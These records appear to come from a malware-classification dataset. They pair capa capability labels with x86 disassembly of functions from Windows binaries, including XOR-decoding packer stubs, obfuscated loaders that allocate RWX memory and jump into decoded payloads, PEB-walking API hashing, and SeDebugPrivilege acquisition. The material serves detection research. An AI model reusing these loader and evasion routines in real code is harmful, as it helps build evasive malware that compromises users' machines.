joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42251a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 0xc
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
sub eax, esi
sub eax, 0xa
mov byte [esi], 0xb9
mov dword [esi + 6], eax
mov eax, esi
mov byte [esi + 5], 0xe9
mov dword [esi + 1], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4225a8
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x47bbb0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea ecx, [ebp - 0x234]
call fcn.00408f50
push 0x474fbc
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00441cd6
mov dword [esp], 0x208
lea eax, [ebp - 0x20c]
xor esi, esi
push esi
push eax
call fcn.00439ae0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.00439d9b
pop ecx
pop ecx
test eax, eax
je 0x422630
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], 8
push eax
mov dword [ebp - 0x210], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push esi
call dword [sym.imp.ole32.dll_OleInitialize]
call fcn.00421dcf
mov esi, eax
call dword [sym.imp.ole32.dll_OleUninitialize]
lea ecx, [ebp - 0x234]
call fcn.00408fc0
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043834d
mov esp, ebp
pop ebp
ret 0x10

Function at 0x422b4d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [ebp + 8]
push ebx
push esi
push edi
push eax
push dword [ecx + 4]
mov dword [ebp - 4], ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, dword [ebp + 0xc]
mov ebx, eax
mov esi, dword [ebp + 0x10]
or eax, 0xffffffff
cmp edi, eax
jne 0x422b8f
cmp esi, eax
jne 0x422b8f
cmp dword [ebp + 0x14], eax
jne 0x422b8f
cmp dword [ebp + 0x18], eax
jne 0x422b8f
push 0
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x422bed
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x14]
push ebx
push eax
call fcn.004228c2
mov edx, dword [ebp - 0xc]
cmp edi, 0xffffffff
je 0x422bad
mov eax, edi
sub eax, dword [ebp - 0x14]
add edx, eax
jmp 0x422bb0
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
cmp esi, 0xffffffff
je 0x422bc1
mov eax, esi
sub eax, dword [ebp - 0x10]
add ecx, eax
jmp 0x422bc4
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp + 0x14]
cmp eax, 0xffffffff
je 0x422bcf
lea edx, [edi + eax]
mov eax, dword [ebp + 0x18]
cmp eax, 0xffffffff
je 0x422bda
lea ecx, [esi + eax]
push 0x54
sub ecx, esi
sub edx, edi
push ecx
push edx
push esi
push edi
push 0
push ebx
call dword [sym.imp.USER32.dll_SetWindowPos]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4256e9
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], ecx
mov edi, dword [eax + 0xc]
jmp 0x4257ad
mov eax, dword [edi + 0x30]
xor esi, esi
mov ebx, dword [edi + 0x2c]
mov edi, dword [edi]
mov dword [ebp - 8], eax
mov eax, dword [edx + 0x3c]
mov dword [ebp - 0xc], edi
mov eax, dword [eax + edx + 0x78]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4257ad
shr ebx, 0x10
xor ecx, ecx
test ebx, ebx
je 0x42575e
mov edi, dword [ebp - 8]
movsx edx, byte [edi + ecx]
ror esi, 0xd
cmp byte [edi + ecx], 0x61
mov dword [ebp - 8], edx
jl 0x42574d
mov eax, edx
add eax, 0xffffffe0
add esi, eax
jmp 0x425750
add esi, dword [ebp - 8]
inc ecx
cmp ecx, ebx
jb 0x425734
mov edx, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + edx + 0x18]
xor ebx, ebx
mov eax, dword [eax + edx + 0x20]
add eax, edx
mov dword [ebp - 0x18], ecx
test ecx, ecx
je 0x4257ad
mov ecx, dword [eax]
xor edi, edi
add ecx, edx
add eax, 4
mov dword [ebp - 8], ecx
mov edx, ecx
mov dword [ebp - 0x1c], eax
mov cl, byte [edx]
ror edi, 0xd
movsx eax, cl
add edi, eax
inc edx
test cl, cl
jne 0x425782
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edi
mov eax, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
add eax, esi
cmp eax, dword [ebp - 0x14]
je 0x4257c2
mov eax, dword [ebp - 0x1c]
inc ebx
cmp ebx, dword [ebp - 0x18]
jb 0x425771
mov edx, dword [edi + 0x18]
mov dword [ebp - 4], edx
test edx, edx
jne 0x425706
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp - 0x10]
mov eax, dword [esi + edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
jmp 0x4257bd

Function at 0x42665c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x47bbb0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push edi
push 0x208
xor ebx, ebx
push ebx
push eax
call fcn.00439ae0
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.TencentWeChatQQBrowser_Pluginlog_
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0044772e
xor eax, eax
lea edi, [ebp - 0x234]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x22e]
push eax
movzx eax, word [ebp - 0x232]
push eax
movzx eax, word [ebp - 0x234]
push eax
lea eax, [ebp - 0x224]
push str.MM__d_.2d_.2d.xlog
push eax
call fcn.004045f0
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call fcn.004162f0
add esp, 0x20
lea ecx, [ebp - 0x224]
push ebx
push 1
call fcn.004046c0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043834d
mov esp, ebp
pop ebp
ret 4
Function at 0x42713a
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x20]
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x24]
lea ecx, [ebp - 0x14]
push edi
mov dword [ebp - 8], eax
call fcn.00428485
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x42719c
mov edi, 0x474fbc
push edi
call fcn.00405140
pop ecx
push eax
push edi
lea ecx, [ebx + 4]
call fcn.00405f80
jmp 0x427218
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4271c3
mov edi, 0x474fbc
push edi
call fcn.00405140
pop ecx
push eax
push edi
lea ecx, [ebx + 4]
call fcn.00405f80
jmp 0x427214
mov eax, dword [ebp - 8]
and dword [ebp - 0xc], 0
push edi
mov dword [eax], edi
call fcn.0043833f
pop ecx
push 0
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x427200
mov edi, 0x474d31
push edi
call fcn.00401310
pop ecx
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.00402860
jmp 0x42720d
push dword [ebp - 4]
lea ecx, [ebp - 0x14]
push edi
push ebx
call fcn.00428531
push ebx
call fcn.00438348
pop ecx
test esi, esi
je 0x42721f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x14]
call fcn.00428495
push 0
push 1
lea ecx, [ebp + 8]
call fcn.004046c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20

Function at 0x4277a4
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x47bbb0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
xor esi, esi
push eax
push 0x28
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x42780b
push edi
lea eax, [ebp - 0x10]
xor edi, edi
push eax
push str.SeDebugPrivilege
inc edi
push esi
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x42780a
push esi
push esi
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 2
push eax
push esi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
cmovne esi, edi
pop edi
cmp dword [ebp - 0x18], 0
je 0x42781a
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043834d
mov esp, ebp
pop ebp
ret
Function at 0x45341d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0045329a

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x2b001859
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2b03bee0]
jne 0x2b001863
repz ret
jmp fcn.2b02c235

Function at 0x2b004abc
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x2b004ae4
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [esi + 0x28], eax
test eax, eax
jne 0x2b004ae2
mov ecx, esi
pop esi
jmp fcn.2b004af5
pop esi
ret

Function at 0x2b012743
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x2b012752
pop dword [ebp - 0x44]
mov eax, 0xd80a00e6
add eax, 0x52f7266c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x4e54feaa
sub dword [ebp - 0x54], 0x2b95f
mov dword [ebp - 0x50], 0xb211ad56
sub dword [ebp - 0x50], 0x7fde6111
mov dword [ebp - 0x4c], 0xf4986a7f
sub dword [ebp - 0x4c], 0xa84c2651
mov dword [ebp - 0x48], 0x16cd00e3
sub dword [ebp - 0x48], 0x16cd00e3
lea eax, [ebp - 0x54]
push eax
mov eax, 0x2eb9201a
add eax, 0xfc49e06a
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x6e11b6ce
sub dword [ebp - 0x54], 0xf99f4d78
mov dword [ebp - 0x50], 0xbb576e80
add dword [ebp - 0x50], 0x8614f2f5
mov dword [ebp - 0x4c], 0xd5af21eb
add dword [ebp - 0x4c], 0x8dc04a81
mov dword [ebp - 0x48], 0xe3e67287
sub dword [ebp - 0x48], 0xe3e67287
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x3e885be
sub eax, 0xd8e5852e
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x4529f
push 0
call eax
mov ecx, 0x9ea18af7
add ecx, 0x615ec622
xor edi, edi
add edi, eax
mov edx, 0x933ee67f
add edx, 0x97c5c781
add edx, dword [ebp - 0x44]
mov esi, 0x28ef85dd
sub dword [ebp - 0x24], 0x7e2dfc20
mov ebx, dword [edx]
sub ebx, esi
add dword [ebp - 0x3c], edi
mov dword [edi], ebx
xor dword [ebp - 0x30], 0xe2ce2d92
add edi, 0xda660e69
add edi, 0x2599f19b
add edx, 0x1dab9429
add edx, 0xe2546bdb
loop 0x2b012870
add eax, 0x13737
xor ebx, ebx
add ebx, eax
add eax, 0x33c2dbfd
sub eax, 0x33c2dbf8
mov ecx, 0x2b000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x2e001992
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2e03da4c]
jne 0x2e00199c
repz ret
jmp fcn.2e027a26

Function at 0x2e002f9b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x2e002faa
pop dword [ebp - 8]
mov eax, 0x2e002faa
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xdcd9afa9
sub dword [ebp - 0x18], 0x8e876a5e
mov dword [ebp - 0x14], 0xb9dd0cc2
sub dword [ebp - 0x14], 0x87a9c07d
mov dword [ebp - 0x10], 0xec114c2a
add dword [ebp - 0x10], 0x603af804
mov dword [ebp - 0xc], 0xe437e50c
sub dword [ebp - 0xc], 0xe437e50c
lea eax, [ebp - 0x18]
push eax
mov eax, 0x3d7e4c08
add eax, 0xf0846438
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x6a91203f
sub dword [ebp - 0x18], 0xf61eb6e9
mov dword [ebp - 0x14], 0xbd8ae442
sub dword [ebp - 0x14], 0x7c1e82cd
mov dword [ebp - 0x10], 0xad7ef2e3
add dword [ebp - 0x10], 0xb5f07989
mov dword [ebp - 0xc], 0x9d639b28
sub dword [ebp - 0xc], 0x9d639b28
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3fcf4
push 0
call eax
mov ecx, 0x4b4f
xor edx, edx
add edx, eax
mov edi, 0xb85d5ff
add edi, 0x227f1201
add edi, dword [ebp - 8]
mov esi, 0xa89053b5
sub esi, 0x5d3941bd
add dword [ebp - 4], 0x806c99a2
mov ebx, dword [edi]
sub dword [ebp - 4], ebx
xor ebx, esi
add dword [ebp - 4], 0xeb71b082
mov dword [edx], ebx
sub dword [ebp - 4], 0x575ed3c1
add edx, 4
add edi, 4
loop 0x2e0030be
add eax, 0x1200f
xor ebx, ebx
add ebx, eax
add eax, 0xaa39e337
add eax, 0x55c61cce
mov ecx, 0xc3a9078e
add ecx, 0x6a56f872
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x2e010c88
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e028d1f
call fcn.2e001440
mov esi, ecx
mov dword [ebp - 0x1c], esi
xor ebx, ebx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call fcn.2e002f9b
test ax, ax
je 0x2e010d3c
lea eax, [ebp - 0x14]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e010d3c
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
mov edi, str.progid
push edi
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x2e010d30
mov eax, dword [ebp - 0x18]
inc eax
push eax
call fcn.2e002f9b
pop ecx
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x18]
push ecx
push eax
push ebx
push ebx
push edi
push dword [ebp - 0x14]
mov byte [ebp - 4], 1
call esi
test eax, eax
jne 0x2e010d24
push dword [ebp - 0x10]
call sub.MSVCR100.dll_strlen
pop ecx
mov ecx, dword [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.2e002f9b
push dword [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x1c]
mov eax, esi
call fcn.2e001489
ret
Function at 0x2e010d44
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e028d4a
call fcn.2e0276dc
mov eax, ecx
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
xor edi, edi
mov byte [ebp - 0x2d], 0
cmp dword [eax + 0x10], edi
jbe 0x2e010e1f
push eax
lea ecx, [ebp - 0x2c]
call fcn.2e002f9b
push esi
mov dword [ebp - 4], edi
call sub.MSVCR100.dll_strlen
pop ecx
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.2e002f9b
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x2e010d90
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x34]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e010e0f
lea eax, [ebp - 0x38]
push eax
push edi
mov esi, 0x2e02b538
push esi
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e010e06
mov eax, dword [ebp - 0x38]
inc eax
push eax
call fcn.2e002f9b
mov edi, eax
pop ecx
mov dword [ebp - 0x3c], edi
lea eax, [ebp - 0x38]
push eax
push edi
push 0
push 0
push esi
push dword [ebp - 0x34]
mov byte [ebp - 4], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e010dfb
push edi
call sub.MSVCR100.dll_strlen
pop ecx
push eax
push edi
mov ecx, ebx
call fcn.2e002f9b
mov byte [ebp - 0x2d], 1
push edi
mov byte [ebp - 4], 0
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.2e002f9b
mov al, byte [ebp - 0x2d]
call fcn.2e02774b
ret 8

Function at 0x2e010e2a
Capabilities:
Query or enumerate registry value

Disassembly:
push 8
mov eax, 0x2e028d77
call fcn.2e001440
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
xor ebx, ebx
push 0x80000001
call esi
cmp eax, ebx
je 0x2e010e62
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call esi
cmp eax, ebx
jne 0x2e010ecd
lea eax, [ebp + 8]
push eax
push ebx
mov esi, 0x2e02b538
push esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e010ec4
mov eax, dword [ebp + 8]
cmp eax, ebx
jl 0x2e010ec4
inc eax
push eax
call fcn.2e002f9b
mov edi, eax
pop ecx
mov dword [ebp - 0x14], edi
lea eax, [ebp + 8]
push eax
push edi
push ebx
push ebx
push esi
push dword [ebp - 0x10]
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e010eb9
push edi
call sub.MSVCR100.dll_strlen
pop ecx
mov ecx, dword [ebp + 0xc]
push eax
push edi
call fcn.2e002f9b
mov bl, 1
or dword [ebp - 4], 0xffffffff
push edi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001489
ret 8
Function at 0x4a41c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4a41d1
pop dword [ebp - 0x1c]
mov eax, 0x88ed1ad6
add eax, 0x775d26fb
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x9270e
push 0
mov eax, 0x441c6305
add eax, 0xbc388fd7
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x1b333cab
add ecx, 0xe4cd185c
mov edx, eax
mov ebx, 0x5ca400
add ebx, dword [ebp - 0x1c]
mov edi, 0x4ef67780
sub edi, 0xa2b27bdd
add dword [ebp - 0x18], 0x95c1633f
mov esi, dword [ebx]
mov dword [ebp - 0x14], 0xf3bd4cf5
add esi, edi
mov dword [edx], esi
xor dword [ebp - 0xc], edi
add edx, 0x518497cd
add edx, 0xae7b6837
add ebx, 0xb8e9cda2
sub ebx, 0xb8e9cd9e
loop 0x4a422a
add eax, 0xcfecd127
add eax, 0x301475c8
mov ebx, eax
add eax, 0x58cf05e0
sub eax, 0x58cf05db
mov ecx, 0x7ae7f241
add ecx, 0x85580dbf
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x4cb795
Capabilities:
Get file system object information

Disassembly:
push 0x4c8
mov eax, 0x549689
call fcn.00528c47
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call main
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x4d0], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x4d0]
push 0
push 0x552bc8
call main
cmp eax, 0xffffffff
jne 0x4cb849
push 0
push 0x55a858
lea ecx, [ebp - 0x4d0]
call main
cmp eax, 0xffffffff
jne 0x4cb849
push 0
push 0x554a24
lea ecx, [ebp - 0x4d0]
call main
cmp eax, 0xffffffff
jne 0x4cb849
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call main
pop ecx
lea edi, [eax + 0x10]
mov dword [ebp - 0x4d4], edi
xor ecx, ecx
mov byte [ebp - 4], 1
push ecx
lea eax, [ebp - 0x218]
push eax
push 0x104
push ecx
push edi
push ecx
call dword [sym.imp.kernel32.dll_SearchPathW]
test eax, eax
jne 0x4cb825
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
lea ecx, [edi - 0x10]
mov ebx, eax
call fcn.00401fd0
jmp 0x4cb878
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x4d0]
call main
lea ecx, [edi - 0x10]
mov byte [ebp - 4], 0
call fcn.00401fd0
mov esi, dword [ebp - 0x4d0]
push 0x105
push 0x2b4
lea eax, [ebp - 0x4cc]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x4cb86f
mov ebx, dword [ebp - 0x4cc]
jmp 0x4cb878
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
mov ebx, eax
lea ecx, [esi - 0x10]
call fcn.00401fd0
mov eax, ebx
call fcn.00528bf6
ret
Function at 0x100032cc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011440]
jne 0x100032d6
repz ret
jmp fcn.1000357d
Function at 0x100040f0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x10011414], 0x206c
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10011410], 0x8b9
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10004159
mov eax, dword [ebp - 0x14]
mov dword [0x10011414], 0x172
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
je 0x10004188
jmp 0x10004216
mov eax, dword [ebp - 0x1c]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], edx
je 0x10004130
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jl 0x10004159
jmp 0x10004130
mov dword [0x10011414], 0x2673
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10004216
mov dword [0x10011414], 0x3a7
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10004216
mov dword [0x10011410], 0x20d2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10004216
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x10004216
mov dword [0x10011414], 0x10e8
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10004216
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
je 0x10004151
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10004151